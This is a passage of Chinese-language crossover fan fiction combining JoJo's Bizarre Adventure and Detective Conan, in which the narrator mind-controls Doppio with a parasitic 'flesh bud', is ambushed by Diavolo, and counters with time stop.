有人怀疑是不是这个男人是在419之后不告而别,但是阔佬念念不忘,于是用这个手段想找人。
因此,一时间,倒有不少人动了歪脑筋,打算扮成这个模样过去,就算被当成替身捞个一笔也不错。
之前还在为金发黑皮帅哥的奇怪发言而疑惑的店员,在面对一大群要定制男士蕾丝破洞渔网内衣的时候,已经能做到心如止水了。
“新风尚啊.....”摸着厚厚的一沓钞票,店员觉得自己已经发现了商机。
当然,理发店的染发烫发业务更不用说,一时间街上粉发的家伙多了不少。
这些,都是紧锣密鼓发生在这个寻人启事刊登的几天后。
而现在,在寻人启事刚刚刊登的第一天,在警员们在警局里忙碌中抽看看着报纸的一天,大家都没觉得这是件什么大事。
最近,露娜警官久违地又出现在警局了。
说实话,这一周她在警局打卡的频率,即使作为关系户,也有些过分了。
但这也不是很重要。
毕竟科长遭遇意外车祸身亡,那不勒斯恶性案件频出、监狱里死刑犯暴毙、牢房里出现死者索命传闻、到埃及的客船成了幽灵船,种种种种都叫人头大。
在这情况下,大家哪还有心思分给一个关系户。
顶多在忙到飞起的时候想着,竟然在最忙的时候摸鱼,真是大胆。
不过露娜被排的也不过是个闲职,该运转的组织机器并不会受影响。
在附和了一下同事的牢骚之后,艾米丽,或者说贝尔摩德,站在窗口,透过百叶窗的缝隙,确认黑发女人真的离开了警局,才自然地从堆叠如山的文件的遮掩下走出,款款走出办公室。
离开人群,一道阴霾浮现在女人姣好的面容上。贝尔摩德捏紧了顺过来的档案室备用钥匙,加快了脚步走向档案室。
寻人启事这么大的动静,不会是波本那个家伙做的。
他不可能是这样的蠢货,而且是在上头有人特意提醒后。
到档案室的路不远,不过半分钟,很快就到了。中途贝尔摩德为了保险起见,还在厕所进行了变装,将自己伪装成黑发的露娜警官后,她才淡定地打开了档案室的门,进去后就立马反锁。
波本肯定也会看到那篇寻人启事,他肯定会去调查是谁放出消息。
而自己,这边最好尽快找出粉发男人的真实身份。
即使有安室透推理出的线索,在这个偌大的档案室里寻找人还是十分困难。
带着手套的贝尔摩德放下了最上面的一个档案袋,脸色阴沉--完全没有。
就像是一个幽灵,完全没有落脚点。
那现在问题来了,这个幽灵,是否应召着寻人启事而来呢?
贝尔摩德觉得身子有些冷,情不自禁打了个哆嗦。她转头向书架间看去,那里什么也没有。
但是,她却有一种被什么盯着的感觉。
贝尔摩德的表情一僵,她的手将档案推了回去,自然地转了个身,一手从衬衫下摸出手枪,小心地向那边迈进。
在脚切实踩在那边地上,她终于能确信那里没人。
这时,她已经感觉后背出了一声冷汗。
摸了摸脸上的妆容,贝尔摩德缓缓叹出一口气。
我也在心底叹了一口气。
看着贝尔摩德翻遍了所有资料都没有进展后,我抬眼给了被我拉到一边的里苏特,对了个“别动手”的口型。
看起来里苏特夜视能力不错。他轻轻点了点头,又往我在这里挪动了一点。
完全没有声息。
我不由得有些佩服,看着几乎是隐形的里苏特。
仅仅一周没见,里苏特就已经吧【金属制品】玩出花来了。居然能让铁粉覆在身上形成保护色,以此融入周围的环境达成“隐身”的效果。
这就是科学的力量吧!
再三确认了艾米丽确实远离了档案室后,我才对里苏特说,“稍微活动一下身体吧,别僵着了。”
艾米丽呆的时间还不短,自从被我拉到身边后,里苏特连姿势都没变一下,我都怀疑对方是不是腿麻了。
高大的银发青年乖顺的从书架间走了出来,目光落在了我的身上。
书架间的缝隙还算宽敞,但是我们两个人都不矮,因此一起躲着有些挤了。
我个人倒是不怕移动引起关注,就算来一个荆轲刺秦王的绕柱走也没问题。但是带着里苏特,我还是选择了一起静静躲在角落里。
“所以,里苏特,你到底为什么又出现在这里了呢?”我扶了扶额头,看着眼前脸上还带着无意识浅笑的银发男人,有点头疼。
我只是想让艾米丽替我找点关于粉发发霉章鱼的线索,却没想到里苏特用“替身”隐身在这里,还差点对艾米丽下手。
不管怎么说,这两人应该八竿子打不着关系才对。总不至于还有什么我不知道的案件吗?
我一想到这,忍不住上前一步,紧紧盯着里苏特的眼睛,希望从里面看出点什么。
里苏特的睫毛轻轻颤动了一下,但他没有移开视线,语气也很平静,“我发现有一伙人盯上你了,而其中一个人似乎还有高超的伪装技巧,我担心他们会伤害到你。”
他的眼睛告诉我他没有说谎。
直白的担心让我愣了一下。
这也是报恩的一环吗?这还怪热心的。
我想起对方之前说的“有需要,一定叫他告诉他”来着,不由有些头疼。
这个,我也没叫人啊。倒不如说,我的整个计划里都尽量不牵扯无辜的人。
没有平时的帽子遮掩,里苏特的银发柔顺地垂落,配上他现在安静的神情,恍然间我觉得对面的是某种大型玩偶。
我觉得我有必要纠正一下对方的报恩念头。
“谢谢你的关心,但是他们确实伤害不到我,我觉得或许你可以不要插手这里的事。”
银发青年垂下了眼,没
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说话,看起来有些可怜。
但是原则性的问题是不能退让的,“我希望,你不要插手这些事情,里苏特。你的替身能力并不需要用在这里。”
银发青年的那双眼再次对上了我,“是命令吗?”
?
我一时被呛住,嘴里的那些“小孩子不要打打杀杀,替身能力也是可以走正道”的话都成了哑炮。
里苏特的眼眸弯了弯,黑色的巩膜此时显得温柔了许多,他弯下腰,拉起我的手,靠近了他的嘴唇,“如果是命令了话,我会遵守的。”
说话间,我的手上能感受到他的气息。
小小的银色替身从他指尖冒出,摇晃着小手,像是响应着这点一样。
……
这什么不是命令就不服从吗?
虽然我现在是黑手.党的一员,但怎么里苏特一副比我更像的样子。
当地的黑手.党文化就是这么熏陶未成年人的吗?中二期过了会很尴尬吧。
但是直接指出来这点也很微妙啊。
就像人家期待着圣诞老人会给自己准备什么礼物的时候大声吆喝世界上没有圣诞老人一样啊……
搞不好直接成为别人一辈子的阴影。
本来被里苏特这一出吓了一跳的我立马找到了解释的理由,努力收起有些同情中二期小朋友的眼神,大力抽回了手。
我的力气很大,抽离速度很快,里苏特也拦不住。
没有让那种黑手.党效忠的一幕再次上演的我非常满意。
里苏特的嘴微张,脸上有些罕见的茫然表情。
我有些好笑,手又不自觉直接伸出去揉了揉眼馋的有些久的柔顺银发。
“那就请好好遵守命令吧。”我轻轻抚过对方的头,感受着手下手感一流的头发。
啊……
这个高度摸起来太顺手了!一时间得意忘形了!
感受着手下绝佳的触感,我的脸忍不住一僵,一时间心如死灰。
“咳咳,不管怎么说,先起来吧。”我连忙扶起还单膝跪着的里苏特,看着没缓过神的样子,内心倒吸一口气。
这不会是什么中二期的人的头发不能摸吧!难道是波鲁纳雷夫那种可以毁衣服不许毁发型的执着吗?
我正努力组织着语言,却发现里苏特从僵直的状态中缓了过来,眼睛上仿佛蒙着一层雾气,声音有些低哑,“我会遵守命令的。”
就让命令什么的过去吧……
我忍不住叹了一口气,就听见里苏特继续说,“但是,在此之前,我觉得有一件事我还得说一下。”
“最近有人,在意大利寻找一些小孩的踪迹,听说,他们要找上帝(dio)的孩子。”
*
客船到达了那不勒斯的港口。一个游客打扮的少年顺着人流下了客船。他带着棒球帽,步履匆匆,却在出口处停住了脚步。
“喂,堵在这里干嘛!”一个男人用肩膀狠狠撞上了这个堵在路上的家伙,白了一眼被撞到地上的家伙就走了。
棒球帽掉在了地上,粉发的雀斑少年看着码头处不少穿着渔网蕾丝罩衫的粉发男人们,瞳孔无法克制地颤抖着。
123.(加更)最后任务
粉发的少年低着头,一只眼的眼球不受控制地上翻,转换成了阴鸷疯狂的碎裂的眼瞳。
也许只是错觉。
粉发少年一手捂住自己异变的眸子,嘶哑地喘着气,低低地自言自语。
“是的,boss,我已经到了那不勒斯,我会去查看的。”
粉发少年的目光在码头上的粉色豹纹头上的跳跃,脸情不自禁抽搐了一下,颈部的筋脉暴起。
他像是根本没有意识到自己的异样,一手捂着眼睛,歪头将一侧的耳朵津贴肩膀,穿过人群,直接走到了附近的小店。
这个小店除了食品香烟外还兼顾了报刊亭的功能。刊物被整齐地摆放在架子上,报纸也被展开,将人们最感兴趣的新闻的那一面露出来。
很显然,一个合格的生意人知道最近的热点是什么。
占了半张报纸的寻人启事即使在五步外看都很吸睛。没有多少文字,偌大的图片使得谁都没法忽视被寻找的男人的特征。
就算提供线索都有不少赏金,这可让大家眼热得很。
所以,当一个粉发青年来买报的时候,老板还是多看了一眼。
不过,瘦弱的身板和普通的衣着完全和图片上的人两模两样。
老板啧了一声,一把接过钱,没好气地嘟囔了两声,“真是一群人赶着去模仿,连头发都没做好,我倒想看看正主是什么样子……”
以往普通的发色显得显眼起来,路上的眼光也在这个粉发少年的身上停留,闪过和小店老板相同的念头。
粉发少年感觉无数道目光齐刷刷地向自己射去,自己就像在黑暗中被绑在了聚光灯下,报幕员将他的所有信息全部展露到所有人面前。
这样的想法让他身体筋挛,感觉血管里全是滚烫的岩浆。粉发少年抓着报纸,死死盯着寻人启事的那张照片,他用尽了自己最后的努力平稳地走到了巷子里,而后跌落在无人的巷子深处。
啊啊啊啊啊啊啊啊!
粉发少年扒着自己的脑袋,露出一双瞳孔碎裂的眼眸,就像要从眼眶里凸出来。
在巨大的精神压力下,托比欧早已退场。
粉发的男人在角落里战栗,发出近乎神经质的笑声,“哈哈哈哈哈哈哈!我会让他们付出代价的!”
但是在此之前,他得去找点替身使者。
*
虽然我这段时间的主要精力放在了跟踪安室透和贝尔摩德找粉色发霉章鱼的线索,但并不代表我别的事情不做。
虽然托比欧不监督我,波尔波也乐得我不开工,但我毕竟还算个负责的家伙。
我牢记的自己的本职工作——薅箭头。
当然,顺带的也要去解决一些死刑犯。
老实说,我觉得可能是不喜欢和我共事,我的同事变得有些易怒。
这具体表现在同事甚至会迁怒附近的囚犯,它非得拿着几乎都要成为木棍的“箭”去捅其他人的灵魂。
那些人并不是我的目标,我也不能保证他们是不是被人陷害来顶罪的。
因此,我只是及时打晕了他们,然后打开了我携带的强力手电筒。
光来了,影子没了,同事化了。
这绝对是波尔波的心眼子啊……
我将新掰的“箭”的碎片放进口袋里,评估了一下剩下的箭头。
嗯。不知道是不是同事烦我的缘故,它这回吐出的“箭”的部分还多了不少。
感觉只要再来个一次就成了,得省着点掰啊。
就在我这么想的时候,passione给我报销的电话,久违地传来铃声。
“把选拔成功的人带到我面前。”原本清亮的少年音变得喑哑了些,我有些怀疑地方是不是去唱死亡摇滚了。
对面的声音是托比欧。
我提前把手机拿得离耳朵远了一些,决定先打个招呼,“好久不见啊托比欧。”
但是我这样的寒暄也没受待见,电话那头的语气变得冷酷了起来,“别说那么多,带选拔成功的人来。”
害。这也不是我想说那么多好不好。
我清了清嗓子,试图让对方理解我的工作进度,“虽然我也想……”
“你的意思是这么久了还没有找到能进入passione的人吗?”对方的语气带上了威胁。
我猜对方想说替身使者。但是作为一个普通的人我是不应该知道替身使者的。
所以我只能诚惶诚恐,“但是他们就是都死了。”
对面沉默了一会,我听见压着怒火的喘息声。
这一周去干什么了,总感觉我的同事们火气都变得太大了吧。
我心有戚戚,摸了摸自己的锁骨处。
我的肉芽已经加载完成了,现在就等它帮助我带来一个心平气和的同事了。
不过说起来,这样子的心态也不太对吧……完全是走上歪道了吧。
我摸着下巴,感慨了两声,但不打算改正。
电话那头终于有声音传来,“今晚8点,再去监狱里选择一批。”
托比欧报出了一个地址,就挂断了电话,根本没有给我商量的余地。
不过我也没打算拒绝就是了。
不过用肉芽拯救失足少年也不知道可不可行呢……
我把笨重的电话重新放好,就去和乔瑟夫先生通知了一下我的行动流程。
由于我之前在那不勒斯一直单打独斗,独自对战时间系的替身使者再加上在监狱里还被揪出了不知道算不算是我的灰色替身,我似乎被看作了一个完全不顾自己性命的莽夫。
虽然我觉得我可以尝试来一个实验证明一下我的恢复能力,但是这一看就会遭到反对。而且看起来也太血腥了。
然后我就被要求至少报备一下行动计划。
“所以等我用肉芽控制了他,就麻烦乔瑟夫先生你帮我【念写】他脑内boss的长相。”我在电话亭里与乔瑟夫先生交流了一下。
这时的我还以为万无一失。
打火机、手机、强力手电筒、用来装箭的碎片的小袋子、用来捆人的尼龙绳。
我将随身携带的东西都检查了一遍,顺便测试了一下尼龙绳的强度。
“就这个力道来说,应该没问题。”我没有用尽全力去拉扯,只是用我心目中大概的成年男性的两倍力量去测试,结果还是令人满意的。
虽然我是打算用肉芽控制托比欧的,但是为了保险起见,我觉得用来束缚行动的工具也不能少。
将工具全部收纳好后,我抬头看了看天。天色已暗。
嗯,真适合干一些不那么光明正大的事呢!
*
七点五十八的时候,一个青年出现在了监狱不远处。
他给自己换上了一身行头。他就穿着普通的棕色风衣,扣子扣得整整齐齐的,他将头发盘了起来,头上还带着一个黑色的圆顶帽,遮住了近来显得比较显眼的发色。
他将自己遮的严严实实的,为了露出的是手腕和脖颈。
这样子的他很符合一个探监人的样子。虽然这么晚来探监根本不符合这间监狱的规定。但是,话又说回来了,规定是极具弹性的。
所以,只要不出什么大差错,也没有人会在
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意这点。
当然,现在这个点,在这个地方,外面本来也没什么人。因此,这个青年才会自如地站在这里。
“还有两分钟。”托比欧抬起手腕,看了一眼时间,又将视线放在远方。
幸运的是,他等的人似乎只是喜欢踩点来,并没有迟到的意思。
黑发的女人从远处缓缓走过来,刚好在八点的时候来到了托比欧的面前。
她或许起初是没认出托比欧,但约定的时间和地点,也就这么一个人杵在这,她还是多看了几眼。
托比欧向女人点了点头,眼睛从压低的帽子间露出来,对上了女人的平静的黑瞳。
女人上上下下打量了托比欧一眼,黑瞳里流露出了欣慰之意,似乎他这一套看起来很像正经人打扮让她觉得他要开始走向什么正道了。
“这套衣服挺好的。”她的目光在帽子上停留了一下,又看向托比欧,表情挺认真的,“差不多是这个数吧,passione给报销吗?”
?
托比欧这几天本来就休息得不太好,听了这话更感觉头疼。
现在重要的是这些吗?是passione需要新的替身使者。
“这种事情不重要。”托比欧本来看起来青涩的面孔多了些老道的冷酷。他语气恶劣地回了一句,就看见对面女人露出了哑然的表情。
“钱还是挺重要的。”黑发女人这么说,握拳放在嘴前,看起来颇有感受。
虽然知道这个女人是因为钱才加入比安奇的组织并且作为靶子,又是因为passione给的足够多才自愿加入passione并且为他们办事,但是这样也表现得太唯利是图了。
不过只是贪财还好说,她的胃口也不算大。
托比欧在心里默默评估,冷眼打量着黑发女人。但除此之外,竟然连一个替身使者也没有筛选出来,是这个女人故意为之还是运气太背呢。
“不过命也挺重要的。”那个女人上前一步,指了指自己的眼圈,又点了点托比欧,“长久不睡也得小心猝死啊,钱还是有命花才好。”
对方关心的表情不作假,托比欧愣了一下,收起了冷眼,面上带着虚伪的笑。
“我挺好的。”
黑发女人挑了挑眉,但没再说什么,只是问托比欧,“现在要开始吗?早点开始早点结束。”
托比欧示意女人在前面走着,自己跟上,两人小声搭着话。
“准备工作你应该做好了吧?”
“波尔波先生那边说已经打通了,关键的东西我已经带着了,可以带着两人进去,活动时间是两个小时。”
“时间已经够了,先从13号囚犯那里开始。”
“没问题。”黑发女人的声音越来越近,托比欧顿住了脚步。
他回头,目光幽幽划过女人没什么表情的脸。
他发现了,似乎在工作状态下,这个女人似乎就这样木着脸。这样很好,总比那种假惺惺的虚伪样子好多了。或许是她能作为靶子在各个势力的磨盘下活下来的表现。
“之前叫你监视的那个男人,最近有什么异样吗?”
“他变得很忙,似乎在调查着什么人一样。”
“你知道他调查的是谁吗?”托比欧紧紧盯着黑发女人的眼睛,似乎这样能找出她的破绽。
但对方木着眼,死鱼脸,看起来很是平静。“不知道啊。”
很难从这样一张脸上看出什么有用的信息,托比欧收回视线,却看见女人很自然地将手递了过来。
他还没看清对方的动作,忽然觉得自己的脖子有些疼。
124.现身
长得并不雅观的肉芽就像一只章鱼一样,用吸盘紧紧地抓住托比欧脖颈处的一块肉,用触手上的毒腺给他注入迷惑神志的毒液。
大约过了3秒钟,粉发青年紧绷的肌肉变得松弛了起来,原先狠厉的表情开始放空,他脸上的雀斑安静地排布在脸上,就像在海边玩闹时不小心遗留在脸上的砂砾。
从某种程度上讲,这个表情称得上恬静。尤其是对比刚刚他试图套话的样子。
“托比欧。”我低声叫出了青年的名字,他缓缓对我点了点头,脸上带着僵硬的微笑。
看起来肉芽应该种植成功了,我把一只手从口袋里抽回。这样子尼龙绳应该就派不上用场了。
“我们先去别的地方。”
我看了一眼监狱门口,觉得这并不是一个适合谈话的地方。
托比欧没有做声,身子有些僵硬地走在我的身边靠前一点。
粉发雀斑青年本来是想走在我身后的,但是毕竟这只是我第二个用肉芽控制的对象,我还保持着一定的好奇心,就把对方拎到身前。
我栽培出的肉芽是dio【肉芽】的改良款,比起对方那种魅惑洗脑的效果,我这种更像是适合套话的类型。
只要种下,即使是公司有两套账本而且偷税漏税这种事也完全能直接问出的......吧?
反正第一个被种肉芽的倒霉蛋就连自己有痔疮的事都告诉我了。不过我也不是很想知道这点就是了。
而且肉芽效果也是存在个体差异的,虽然我得出这个结论仅仅靠着两个实验对象而已。
就比如托比欧,怎么说呢,他脸上现在是一种无欲无求的平静感,就好像上班十年无休后终于猝死的平静感。
总不至于我种的肉芽还伤害到了脑子吧?种植肉芽也有力道讲究吗?我前老板也没教啊。
我和肉芽也没有人芽合一,顶多能察觉对方有没有说谎。
我有些心虚,需要来点基础问题测试一下肉芽效果。
“托比欧,你多久没睡了。”
我十分怀疑passione的boss把托比欧当做驴在用。对方的黑眼圈重得完全就像是熊猫一样了,我完全不可能不在意。
这些雇佣未成年人的组织完全都是字面意义上的血汗工厂吧......
“三天?五天?七天?”粉发少年掰着手指,表情陷入了一丝迷茫,像是在自言自语什么。
等等?先不说这个模糊的时间跨度,如果真的七天没睡觉能保持这个精神状态我觉得已经超了不起了?
所以passione究竟是什么垃圾组织!那个boss还没被未成年保护组织抓进去吗!
一想到托比欧可能是因为我当初没给饭(?)所以走上passione这条歧途的,我不由得感到了沉重的心理负担。
粉发的少年看起来才17岁左右的样子,就已经给垃圾黑手.党做牛做马了。这简直和我当年一样惨啊。
“之后你能好好休息的。”我心有戚戚然,试图安慰。只要我干倒passione的boss,托比欧应该就能换份工作了。但愿青少年没有被黑手.党文化洗脑。
托比欧没有听懂我的话,只是歪了歪头。
但是他也不想再用力气发问。
我想了想,觉得快点进入正题也好,不然我真怕问到一半托比欧就猝死过去。
“那你见过boss吗?”我小心发问,却看见托比欧倏忽瞪大了双眼。
这好像是什么刻在灵魂深处的禁忌,即使被【肉芽】洗脑后,一提到这个托比欧脸上立马出现了焦虑的阴影,皱起了眉毛,态度变得生硬了起来。
这难道是什么一说就会死的秘密吗?还是说精神控制?
我忍不住皱眉,觉得可能最后还是需要乔瑟夫先生来【念写】一下托比欧脑内对passione的boss的印象。
“不.......”他开始抗拒地后退,但是脖颈后侧的肉芽适时地将触手在这抗拒的肉/体里向下扎根。
虽然我改良成了友好型,不会试图将触手伸到被种植者的大脑里把那里搅成一团糟。
但是处于控制的角度,一旦反抗,肉芽也会加深对于肉/体的探索的。
嗯.....算了,这种东西发明出来也不是光伟正的。
我一只手掐着托比欧的后颈,看着他从炸毛的状态转为了压抑着的平静。他像是被强行打了镇定剂一样,身子痉挛了两下,靠着我低下了头,我没法看清他的表情。
我的良心稍微发痛了一下。
我决定问一个稍微简单一点的问题,“你在组织见过一个粉发豹纹头的穿着蕾丝渔网衫的男人吗?”
粉发少年沉默了一会,非常果断地回答,“我没亲眼看见过他。”
没有亲眼见过......
我思考了一下,“那么你听说过他吗?”
听到这个问题,托比欧又开始挣扎起来了,肉芽适时地继续深入,他又老实的不动了。
“......我需要弄明白是谁在调查他。”良久,他只吐出这么一句话,其他再也问不出来。
啧,看来这个粉发发霉章鱼绝对和boss有很强的关系,他或许和boss的真实身份密不可分。
我尝试换一个思路刺探boss的清白。
“托比欧,那你平时是怎么和boss联系的?”
这个问题在对方的心理防线上反复横跳,托比欧痛苦地揪着自己的脑袋。圆顶帽因为动作掉在了地上,将梳好的头发弄得有些散乱了。一片粉色的刘海垂落在他的眼前。
少年从喉咙里发出了奇怪嘶哑的的声音,但是挣扎的动作变得小了一些,看起来安分了很多,“用电话,boss只用电话联系我,我没看见过他的样子。”
只用电话吗?
确实很谨慎。
“那电话号码是多少?”
“我不知道,boss只会单线联系我。”说着,粉发青年的身体还痉挛了一下,像是很害怕一样。
啧,看来这条线索也断了。不过愿意直接和托比欧沟通,看来托比欧确实是boss信任的手下。
我还是得等着乔瑟夫先生的念写又或者等一
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通来自passione的boss的电话。
我叹了口气,拉起托比欧,“走吧,我们先去别的地方。”
似乎是拖了力的缘故,托比欧拎起来比我想象的要重一点。
我单手拎着托比欧向前走去,耳边突然传来一阵铃声。
嗯?
我拿起了腰间的手机,稍稍有些遗憾。
如果是passione的boss打给托比欧的,那样子也不错。
我看一眼号码,是乔瑟夫先生的电话。
难道是已经到了吗?如果开车了那真是帮大忙了,拎着一个青年回去我很担心被当成诱拐的。虽然我现在是黑手.党就是了。
鉴于托比欧应该是被催眠状态,我也没有避着他,反正之后给他下达忘记这段记忆的心理暗示就行了。
于是,我就这么按下了接听键。
乔瑟夫先生焦急的声音从笨重的电话中传来,“快跑,你身边--”
之后的话我没听清,又或者说,那段话根本没有出现在我的记忆中。
危险的感觉瞬间出现,就像是不知道何时设置的手机铃声在半夜突然响起。
没有任何准备,我只能凭本能行动。
我下意识松开了拎着托比欧的手,直接呼唤【世界】!
【THE WOR--】
但是已经有什么在守株待兔。
在我的身后,一只手直接贯穿了我的腹部。
摔落在地上的手机被一脚踩碎。
*
在错愕之中,乔瑟夫感觉自己的话似乎没有说完,耳边就是一阵什么东西碎掉的声音。
电话只传来一阵电流声,连一点回话的记忆也没有。
“时间系。”花京院重重踩下了油门,车子猛地向前冲去,像一只焦急的钢铁巨兽。
车上的人被这一猛地加速搞得一颠,但没人提出异议,所有的人脸色都很难看。
乔瑟夫·乔斯达紧紧捏着刚刚【念写】出来的相片,又看了看自己手机上通话时间的变化。
“.......10秒钟,时间前进了10秒钟。”
“跳跃时间的替身能力。”空条承太郎说完,所有的人的心都一沉。
就在15秒前,乔瑟夫·乔斯达在车上终于成功【念写】出关于passione的boss的照片。
照片里,穿着棕色风衣的粉发男人正一脸阴鸷地握紧了拳头。
而拎着他的,是一个毫无防备正大步向前走的黑发女人。
*
血迹沾满了棕色的风衣,我听见后面传来低哑的男声。
“不管你是谁派来的,都给我去死吧。”
好熟悉的声音。
手从我的伤口中抽出,我捂着伤口,但是血还是继续流。
说起来,改良版肉芽的效果这么差的吗?我的头脑还是挺清醒的,能感受到身后澎湃的杀意。
我抬头看着天空。
浓厚的云层遮住了月亮,四下是一片黑暗。
真是不幸运啊。
身后的家伙。
125.double
迪亚波罗捡起了血泊中的帽子。
看着吸饱了鲜血的羊毛圆顶帽,他微微皱起了眉头。这下子不能用了。
托比欧老老实实扣在胸前的扣子被底下的肌肉撑得摇摇欲坠。刚刚稍显宽大的棕色风衣穿在迪亚波罗的身上变得有些紧绷。
但是显然这位看起来成熟许多的粉发男士很适应现在的状况,他单手解开了几颗扣子,轻蔑的视线投注到地下,
黑发女人躺倒在地上,一手捂着自己的腹部,脸苍白如纸。
按照刚才的触感来看,应该伤到了内脏,现在引起了大量内出血。
她离死不远了。迪亚波罗得出了这个结论。
粉发男人将手放在自己的脖颈处,一把拉出了挣扎的寄生虫一样的东西。这个过程有些疼,但是却还是可以忍受。
那个小东西还在男人粗粝的两指间挣扎,看起来就跟mini肉感章鱼一样。就着夜晚微弱的光线,迪亚波罗看清了ta的全貌。
就是这个玩意刚刚控制住了托比欧,要不是还有他的存在,恐怕他的一切都将暴露在人前。
比起□□控制,它更像是捕捉到了那个名为“托比欧”的灵魂,在灵魂上开了一个小口子去洞见里面的秘密。
多么危险的存在,多么实用的存在。
除了太轻易就能离开体内这点太过幼稚,如果是自己能掌握这个了话一定会让这玩意能长到被控制的人的大脑里,这样子如果被控制的家伙起了一点背叛他的心思,他就能直接将其泯灭。
出于这样的念头,迪亚波罗选择花费宝贵的3秒钟进行提问。“这是哪种东方秘术吗?”
黑发女人眼里的诧异一闪而过,嘴角或许是因为痛苦而不自觉地抽动。“你竟然知道蛊虫?”
说完,她直直盯着迪亚波罗。飞溅的血沾到了她的脸上,让她看起来就像是犯罪现场的某种凶器。
蛊虫。果然是什么神秘的东方力量吗?迪亚波罗暗暗记住了这个名字,看着黑发女人嘴角溢出的血,难得后悔起自己下手太重了。
算了,也不重要。快点死了也能用来当诱饵。
而且即使已经重伤到这个程度了,这个女人也没有召唤替身,看来除了会玩寄生虫以外,确实只是个普通人。
迪亚波罗小心地将那个还在挣扎的小东西放进了玻璃瓶,决定在黑发女人的同伴到来之前躲起来。
这是个一网打尽试图找寻他秘密的敌人的好机会。
虽然事先没有预料到“露娜”的叛变以及她能靠奇怪的东西控制托比欧的存在,但是靠着【绯红之王】,他依旧能夺取最后的胜利。
“托比欧去哪里了,你对他做了什么?”黑发女人的声音从背后传来,迪亚波罗顿住了脚步,不由得感到一丝好笑。
见过他真面目的人都已经死了。人们只会靠近看起来无害的托比欧,来打探passione的boss的消息;他可从来没见过有人在自己面前,打探托比欧的行踪。
这是第一个。
她绝对是个天真的蠢货。
但是迪亚波罗没有好心到向这个女人解释托比欧的行踪。
【绯红之王】的人形小脸出现在迪亚波罗的额前,他借助【墓志铭】,清晰地看到了10s内的状况。那个女人依旧恹恹地爬不起来,就在9s左右的时候,她头一歪,手一摊,看起来失去了生机。
看来没有必要靠近,就让她这么去死吧。
迪亚波罗满意地勾起嘴角,向阴影处踏去。
夜色正浓,有无数的黑暗的地方适合藏身,等到给这个黑发女人打电话的人到来,他可以暗中观察并且逐一击破。
这样他的秘密就能永远守在黑暗中。
就在第9s的时候,选择好了藏身之处的迪亚波罗看向了倒在地上的女人。
和在【墓志铭】中看见的一样,女人头一歪,手一摊,连呼吸都变得微弱了起来。
迪亚波罗满意地勾起了嘴角,却忽然闻到空气里有一种奇妙的味道。
!
阴影中,有什么抓住了他的脚。
“你,刚刚在重新点燃的打火机旁边了吧。”诡异的声音从阴影中传出,一种无法反抗的巨力将某种东西从迪亚波罗体内抽出。
他的神志一时间有些恍惚,感觉自己体内的某种东西被粗暴地撕扯开,然后被无情地拽出。
迪亚波罗就这么看着半睁着眼的托比欧的灵魂被一个带着黑色帽子的身影牢牢扼住咽喉,粉色雀斑的青年试图挣扎,但是他本来就太累了,乍这么一下竟然也没能激发出他求生的潜力。
但是看见自己信赖的boss就在身边,他还是激动的瞪大了双眼,试图掰开禁锢自己的替身。
“什么!【黑色安息日!】”
作为passione的boss,迪亚波罗当然知道这个替身是什么,也知道他的能力是什么。
正因为如此,他才感到毛骨悚然。
为什么【黑色安息日】会攻击自己,为什么【黑色安息日】会说自己“在点燃的打火机旁边”。
这一切!
他像是似有所感,转头立马看向了那片血泊。
黑发女人望着这里,脸上带笑,颤悠悠地从腹部的伤口里掏出了一个刚刚点燃的打火机。
这么说,那个味道是肉被加热的味道吗?
迪亚波罗的脸色变得难看了起来,他看着已经被【黑色安息日】扼住咽喉的托比欧,再看着已经能爬起来的黑发女人,内心有了抉择。
*
嘶。
竟然是跳跃时间。
在看见迅速变化的通话时长后,我就意识到了身后那人的能力。
哈。熟悉的捅人角度和替身,是你啊,粉发发霉章鱼。
所以托比欧那小子看起来浓眉大眼的,竟然是当初追杀我的家伙吗?难道他也会变形术而且还自我洗脑骗过他自己了?
我本来是这么想的,但是现在看来完全不是这么一回事。
【黑色安息日】从那个肉/体中揪出了粉发雀斑青年的灵魂,但是那个肉/体依旧能行动,甚至是带着杀气和那个额头上长着脸的红色人型替身一起向我奔过来。
“托比欧,double……”我喃喃自语,感觉灵光一闪!
答案原来就在名字里吗?一个身体,两个灵魂。
所以,托比欧这家伙难道是被会变形时当邪恶咒灵附身了吗?总不能是双重人格吗?双重人格人格转换身体能变化形态也太奇怪了吧……
我默默吐槽,看着完全将托比欧抛在身后的粉色发霉章鱼,将藏在肚子里的打火机拿了出来。
我灵敏的嗅觉捕捉到了空气中似有若无的肉香味。我一时间难以抑制难看的脸色。
唔,最近感觉不是很想吃肉了。
在月光稀薄的夜晚,这里是影子的无垠之海。
被【黑色安息日】抓着的粉发雀斑
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少年看着迅速逃离此处的boss,嘴里似乎发出了什么沙哑的嘶吼。
他无法挣脱,因为这里到处是阴影。在阴影具有完全压制力的世界里,粉发雀斑少年最终选择了闭上眼。
他已经很久没休息了。
我只是稍微看了最近脾气暴躁的光杆子同事那里就收回了视线。
眼下,我这里可是有一个怒火朝天的充满杀气的粉色发霉章鱼。
对方的替身很猛,力道直接穿腹。对方的替身很bug,能跳跃时间的样子,而且在跳跃时间中我完全没有反应的时间。
如果一头雾水,第一次遇到这样的替身,说是不慌张绝对是假的。即使是第二次遇见也会心惊胆战。
不过啊,还是得感谢乔瑟夫先生及时打来的那通电话,使我弄明白了这个粉发发霉章鱼的替身能力。
当然,现在还得感谢我的前老板。
在粉发男人转头的时候,我尝试了暂停时间,并将打火机塞进被贯穿的伤口里藏起来。
粉发男人并没有在暂停的世界里动作,解除时停后看起来也一无所察。
这就说明,我先前担心的对方的时间系替身能在时间静止的世界里活动时不成立的。
而与此同时,我恐怕也不能在对方跳跃的时间内用【世界】暂停时间。
那么,对方的跳跃时间和【世界】的暂停时间,如果真正对上了话,恐怕是要看谁先启动。
所以,谢谢你啊,dio,我会好好照顾【世界】和乔鲁诺的。
【the world!】—让时间停止—
我看着完全静止的世界,粉发男人的头发丝还在飘扬,那个长得颇为辣眼睛的替身也保持着扭曲的丑陋表情。
真的是完全静止的世界。
我从对方的放在口袋里的玻璃瓶中拿出改良版的肉芽,慎重地放在了对方的额头前面。
这个位置不错,虽然不想承认,但是用肉芽控制人真是比我熟练。
我叹口气,一拳打在了粉发男人的腹部,听着清脆的声音,我想,应该是断了几根肋骨吧。
我顺势卸去了对方的手腕以及其他部位,彻底让对方失去了行动能力。
【the world】!让时间继续流转吧。
粉发男人一瞬间瘫倒在地上,看着突然出现的黄色人型替身,惊恐地瞪大了双眼。
他想说点什么,但下巴被卸下,透明的液体从嘴角滑落。
全身的痛楚然后他根本抬不了一根手指。
但是这不是最让他害怕的。
